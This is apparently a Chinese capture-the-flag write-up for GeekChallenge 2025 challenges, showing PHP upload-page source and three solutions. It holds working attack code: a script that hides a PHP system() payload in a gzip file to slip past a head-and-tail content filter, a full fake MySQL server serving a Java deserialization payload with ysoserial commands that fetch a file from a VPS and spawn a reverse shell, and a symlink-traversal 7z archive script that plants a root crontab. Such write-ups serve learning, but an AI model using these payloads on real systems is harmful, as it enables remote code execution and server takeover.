backdrop-filter: blur(6px);
}

.brand{
display:flex;
align-items:center;
gap:12px;
margin-bottom:16px;
}
.logo{
width:52px;
height:52px;
border-radius:12px;
background: linear-gradient(135deg,var(--accent), #3b82f6);
display:flex;
align-items:center;
justify-content:center;
font-weight:700;
color:white;
box-shadow: 0 6px 20px rgba(124,58,237,0.18);
}
h1{margin:0;font-size:20px}
p.lead{margin:4px 0 18px;color:var(--muted);font-size:13px}

form{display:flex;flex-direction:column;gap:12px}
label{font-size:13px;color:var(--muted);display:block;margin-bottom:6px}
.input{
background:var(--glass);
border:1px solid rgba(255,255,255,0.03);
padding:12px 12px;
border-radius:10px;
color: #e6eef8;
outline:none;
width:100%;
font-size:15px;
}
.input:focus{
box-shadow: 0 6px 18px rgba(124,58,237,0.12);
border-color: rgba(124,58,237,0.55);
}

.pw-wrap{position:relative}
.pw-toggle{
position:absolute;
right:10px;
top:50%;
transform:translateY(-50%);
background:none;
border:none;
color:var(--muted);
font-size:13px;
cursor:pointer;
padding:6px;
border-radius:6px;
}
.pw-toggle:focus{outline:2px solid rgba(124,58,237,0.18)}

.actions{display:flex;align-items:center;justify-content:space-between;margin-top:4px}
.btn{
background:linear-gradient(90deg,var(--accent), #4f46e5);
border:none;
color:white;
padding:10px 14px;
border-radius:10px;
cursor:pointer;
font-weight:600;
box-shadow: 0 8px 20px rgba(79,70,229,0.12);
}
.btn:hover{transform:translateY(-1px)}
.hint{font-size:13px;color:var(--muted)}

.error{
background: linear-gradient(90deg, rgba(255,77,77,0.08), rgba(255,77,77,0.03));
border:1px solid rgba(255,77,77,0.12);
color:#ffd6d6;
padding:10px;
border-radius:10px;
display:flex;
gap:10px;
align-items:center;
font-size:14px;
}
.small{font-size:12px;color:var(--muted)}

footer{margin-top:16px;text-align:center;color:var(--muted);font-size:12px}
@media (max-width:480px){
.container{padding:18px;border-radius:12px}
h1{font-size:18px}
}
</style>
</head>
<body>
<main class="container" role="main" aria-labelledby="loginTitle">
<div class="brand">
<div class="logo">CTF</div>
<div>
<h1 id="loginTitle">CloudZip 云压缩文件管理平台</h1>
<p class="lead">请使用账户密码登录以进入上传页面</p>
</div>
</div>

<?php if (!empty($err)): ?>
<div class="error" role="alert" aria-live="assertive">
<svg width="18" height="18" viewBox="0 0 24 24" fill="none" aria-hidden="true">
<path d="M12 9v4" stroke="#ff9b9b" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M12 17h.01" stroke="#ff9b9b" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M10.29 3.86 1.82 18a2 2 0 0 0 1.72 3h16.92A2 2 0 0 0 22.2 18L13.71 3.86a2 2 0 0 0-3.42 0z" stroke="#ff9b9b" stroke-width="0.5" fill="rgba(255,77,77,0.06)"/>
</svg>
<div><?php echo htmlspecialchars($err, ENT_QUOTES, 'UTF-8'); ?></div>
</div>
<?php endif; ?>

<form method="post" novalidate>
<div>
<label for="user">用户名</label>
<input id="user" name="user" class="input" placeholder="请输入用户名" autocomplete="username" required autofocus />
</div>

<div>
<label for="pass">密码</label>
<div class="pw-wrap">
<input id="pass" name="pass" class="input" placeholder="请输入密码" type="password" autocomplete="current-password" required />
<button type="button" class="pw-toggle" id="togglePwd" aria-pressed="false" aria-label="切换密码可见">显示</button>
</div>
</div>

<div class="actions">
<button class="btn" type="submit">登录</button>
</div>
</form>
</main>

<script>
(function(){
const btn = document.getElementById('togglePwd');
const pass = document.getElementById('pass');
btn.addEventListener('click', function(){
const isPwd = pass.type === 'password';
pass.type = isPwd ? 'text' : 'password';
btn.textContent = isPwd ? '隐藏' : '显示';
btn.setAttribute('aria-pressed', isPwd ? 'true' : 'false');
});

// 回车提交时只要焦点在输入框即可;增强键盘体验
document.getElementById('user').addEventListener('keydown', function(e){
if(e.key === 'Enter') document.querySelector('form').requestSubmit();
});
document.getElementById('pass').addEventListener('keydown', function(e){
if(e.key === 'Enter') document.querySelector('form').requestSubmit();
});
})();
</script>
</body>
</html>

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
<?php
// upload.php(美化版)
// 说明:已修复前端 JS 的语法错误并增强上传完成后的 UI 行为
session_start();
error_reporting(0);

$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];
$allowed_mime_types = [
'application/zip',
'application/x-bzip2',
'application/gzip',
'application/x-gzip',
'application/x-xz',
'application/x-7z-compressed',
];

$BLOCK_LIST = [
"__HALT_COMPILER()",
"PK",
"<?",
"<?php",
"phar://",
"php",
"?>"
];

function content_filter($tmpfile, $block_list) {
$fh = fopen($tmpfile, "rb");
if (!$fh) return true;
$head = fread($fh, 4096);
fseek($fh, -4096, SEEK_END);
$tail = fread($fh, 4096);
fclose($fh);
$sample = $head . $tail;
$lower = strtolower($sample);
foreach ($block_list as $pat) {
if (stripos($sample, $pat) !== false) {
// 为避免泄露过多信息,这里不直接 echo sample(你之前有 echo,保持注释)
return false;
}
if (stripos($lower, strtolower($pat)) !== false) {
return false;
}
}
return true;
}

if (!isset($_SESSION['dir'])) {
$_SESSION['dir'] = bin2hex(random_bytes(4));
}
$salt = 'GeekChallenge_2025';
$SANDBOX = sys_get_temp_dir() . "/uploads_" . md5($salt . $_SESSION['dir']);
if (!is_dir($SANDBOX)) mkdir($SANDBOX, 0700, true);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!isset($_FILES['file'])) {
http_response_code(400);
die("No file.");
}
$tmp = $_FILES['file']['tmp_name'];
$orig = basename($_FILES['file']['name']);
if (!is_uploaded_file($tmp)) {
http_response_code(400);
die("Upload error.");
}

$ext = strtolower(pathinfo($orig, PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_extensions)) {
http_response_code(400);
die("Bad extension.");
}

$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $tmp);
finfo_close($finfo);
if (!in_array($mime, $allowed_mime_types)) {
http_response_code(400);
die("Bad mime.");
}

if (!content_filter($tmp, $BLOCK_LIST)) {
http_response_code(400);
die("Content blocked.");
}

$newname = time() . "_" . preg_replace('/[^A-Za-z0-9._-]/', '_', $orig);
$dest = $SANDBOX . '/' . $newname;

if (!move_uploaded_file($tmp, $dest)) {
http_response_code(500);
die("Move failed.");
}

echo "UPLOAD_OK:" . htmlspecialchars($newname, ENT_QUOTES);
exit;
}
?>
<!doctype html>
<html lang="zh-CN">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<title>文件上传 — CTF</title>
<style>
:root {
--bg:#0f1724;
--card:#0b1220;
--accent:#7c3aed;
--muted:#9aa4b2;
--glass:rgba(255,255,255,0.04);
}
body {
margin:0;
background: linear-gradient(180deg, #071029 0%, #081226 60%);
font-family: Inter, "Segoe UI", Roboto, "Helvetica Neue", Arial;
color:#e6eef8;
display:flex;
align-items:center;
justify-content:center;
height:100vh;
}
.container {
background: var(--glass);
border:1px solid rgba(255,255,255,0.04);
border-radius:14px;
padding:26px;
max-width:500px;
width:100%;
box-shadow: 0 8px 30px rgba(2,6,23,0.7);
position:relative;
}
h1 {
margin-top:0;
font-size:22px;
margin-bottom:10px;
text-align:center;
}
p {
text-align:center;
color:var(--muted);
margin-bottom:24px;
font-size:14px;
}
.file-input {
display:flex;
flex-direction:column;
align-items:center;
gap:12px;
}
.input-box {
border:2px dashed rgba(255,255,255,0.08);
border-radius:12px;
padding:30px;
text-align:center;
cursor:pointer;
transition: all 0.3s ease;
background: rgba(255,255,255,0.02);
width:100%;
box-sizing:border-box;
}
.input-box:hover {
border-color: var(--accent);
background: rgba(124,58,237,0.04);
}
input[type=file] {
display:none;
}
.btn {
background:linear-gradient(90deg,var(--accent),#4f46e5);
border:none;
color:white;
padding:10px 18px;
border-radius:10px;
cursor:pointer;
font-weight:600;
font-size:14px;
box-shadow:0 8px 20px rgba(79,70,229,0.12);
transition:0.2s ease;
}
.btn:hover {
transform:translateY(-1px);
}
#result {
margin-top:16px;
font-size:14px;
word-break:break-all;
text-align:center;
}
#progress {
width:100%;
background:rgba(255,255,255,0.1);
border-radius:6px;
overflow:hidden;
margin-top:16px;
display:none;
}
#bar {
width:0%;
height:8px;
background:var(--accent);
transition:width 0.2s ease;
}
.logout {
position:absolute;
top:16px;
right:16px;
color:var(--muted);
font-size:13px;
text-decoration:none;
border-bottom:1px dotted var(--muted);
}
code {
background:rgba(0,0,0,0.2);
padding:2px 6px;
border-radius:4px;
font-size:13px;
}
</style>
</head>
<body>
<a href="login.php" class="logout">← 退出登录</a>
<div class="container">
<h1>上传压缩包</h1>
<p>仅允许上传 zip、bz2、gz、xz、7z 文件,系统会自动生成随机存储路径。</p>

<form id="uploadForm" enctype="multipart/form-data" method="post" class="file-input">
<label for="file" class="input-box" id="dropArea">
<strong>点击选择文件或拖拽文件至此</strong>
<div id="fileName" style="margin-top:8px;color:var(--muted)">未选择文件</div>
</label>
<input type="file" name="file" id="file" accept=".zip,.bz2,.gz,.xz,.7z" required />
<button class="btn" type="submit">上传</button>
<div id="progress"><div id="bar"></div></div>
<div id="result"></div>
</form>
</div>

<script>
const fileInput = document.getElementById('file');
const fileName = document.getElementById('fileName');
const dropArea = document.getElementById('dropArea');
const form = document.getElementById('uploadForm');
const result = document.getElementById('result');
const progress = document.getElementById('progress');
const bar = document.getElementById('bar');

// 更新文件名显示
fileInput.addEventListener('change', () => {
if (fileInput.files.length > 0) {
fileName.textContent = fileInput.files[0].name;
} else {
fileName.textContent = "未选择文件";
}
});

// 拖拽样式与行为
dropArea.addEventListener('dragover', e => {
e.preventDefault();
dropArea.style.borderColor = '#7c3aed';
});
dropArea.addEventListener('dragleave', e => {
e.preventDefault();
dropArea.style.borderColor = 'rgba(255,255,255,0.08)';
});
dropArea.addEventListener('drop', e => {
e.preventDefault();
dropArea.style.borderColor = 'rgba(255,255,255,0.08)';
if (e.dataTransfer.files && e.dataTransfer.files.length > 0) {
fileInput.files = e.dataTransfer.files;
fileName.textContent = fileInput.files[0].name;
}
});

// 上传逻辑(修复了语法错误,添加完备回调)
form.addEventListener('submit', e => {
e.preventDefault();
const file = fileInput.files[0];
if (!file) return alert("请选择文件");

const xhr = new XMLHttpRequest();
const formData = new FormData();
formData.append("file", file);

// 显示进度条,初始化
progress.style.display = 'block';
bar.style.width = '0%';
result.textContent = '';

xhr.upload.onprogress = function (ev) {
if (ev.lengthComputable) {
const percent = Math.round((ev.loaded / ev.total) * 100);
bar.style.width = percent + '%';
}
};

xhr.onload = function () {
// 隐藏进度条
progress.style.display = 'none';
bar.style.width = '0%';

if (xhr.status === 200) {
const resp = xhr.responseText || '';
if (resp.startsWith("UPLOAD_OK:")) {
const fname = resp.split(":")[1];
result.innerHTML = `✅ 上传成功:<code>${fname}</code>`;
// 尝试清空 file input(兼容多数浏览器)
try {
fileInput.value = "";
// 替换节点以确保 file list 被清空
const newInput = fileInput.cloneNode();
fileInput.parentNode.replaceChild(newInput, fileInput);
// 重新绑定 change 事件到新 input
newInput.addEventListener('change', () => {
if (newInput.files.length > 0) {
fileName.textContent = newInput.files[0].name;
} else {
fileName.textContent = "未选择文件";
}
});
// update reference
window.fileInput = newInput;
} catch (err) {
// ignore
}
fileName.textContent = "未选择文件";
} else {
result.textContent = "❌ " + resp;
}
} else {
result.textContent = "❌ 上传失败 (" + xhr.status + ")";
}
};

xhr.onerror = function () {
progress.style.display = 'none';
bar.style.width = '0%';
result.textContent = "❌ 上传出错";
};

xhr.open("POST", "", true);
xhr.send(formData);
});
</script>
</body>
</html>

login硬编码了账号密码

index有include文件包含

upload只检测前4096和后4096字节,在中间插入一句话即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# generate_payload.py

# 1. gzip 魔数(必须以这个开头,finfo 才会识别为 gzip)
gzip_magic = b"\x1f\x8b\x08" # ID1=0x1f, ID2=0x8b, CM=8 (deflate)

# 2. 前 4096 字节:魔数 + 填充到 4096
header = gzip_magic + b"\x00" * (4096 - len(gzip_magic))

# 3. PHP payload
payload_code = b"<?php system('cat /flag/flag.txt');?>"

# 4. 尾部 4096 字节:全零填充(无害)
footer = b"\x00" * 4096

# 5. 组装完整文件
full_content = header + payload_code + footer

# 6. 写入文件
with open("7.gz", "wb") as f:
f.write(full_content)

print("[+] Payload written to exploit.gz")
print(f" Total size: {len(full_content)} bytes")
print(f" Payload offset: {len(header)} bytes")


ezjdbc

jadx mcp分析到jdbc注入

并且存在cc依赖,jdbc为mysql8.0.19

jadx分析发现可以构建恶意Mysql服务器然后触发反序列化漏洞。

fake MySQL脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
# coding=utf-8
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()

def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))

def get_payload_content():
#file文件的内容使用ysoserial生成的 使用规则:java -jar ysoserial [Gadget] [command] > payload
file= r'payload'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")

else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content

# 主要逻辑
def run():

while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))

# 1.先发送第一个 问候报文
send_data(conn,greeting_data)

while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)

#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 为什么我加了EOF Packet 就无法正常运行呢??
# 获取payload
payload_content=get_payload_content()
# 计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
# 计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break


if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 3307

sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)

print("start fake mysql server listening on {}:{}".format(HOST,PORT))

run()


题目出网

yso生成payload

1
java -jar ysoserial-all.jar CommonsCollections6  "wget http://vps:7777/ppp" > payload

运行fake mysql

python开http,写入反弹shell命令到文件

1
/connect?name=root&pass=root&url=jdbc:mysql://139.199.192.82:3307/test?autoDeserialize=true%26queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

生成新payload

1
java -jar ysoserial-all.jar CommonsCollections6  "bash ppp" > payload

重新运行fake mysql

发payload弹shell

1
/connect?name=root&pass=root&url=jdbc:mysql://139.199.192.82:3307/test?autoDeserialize=true%26queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

7777 time task

https://github.com/lunbun/CVE-2025-55188/blob/main/poc_extraction_root/make_arb_write_7z.sh

用CVE-2025-55188+定时任务即可

下面是生成恶意压缩包的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
cat > bash.sh << 'EOF'
#!/bin/bash
BINARYPATH="/tmp/7zz"
olddir="$(pwd)"

mkdir /tmp/temp
tempdir="/tmp/temp"
cd "$tempdir"

mkdir -p a/b
ln -s /a a/b/link
$BINARYPATH a write.7z a/b/link -snl

ln -s a/b/link/../../../etc/ link
$BINARYPATH a write.7z link -snl

rm link
mkdir link
echo "* * * * * root mkdir /app/uploads/\`cat /flag\`" > link/crontab
$BINARYPATH a write.7z link/crontab

cp write.7z "$olddir"
cd "$olddir"
rm -r "$tempdir"
EOF


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
MIXBP github
🌙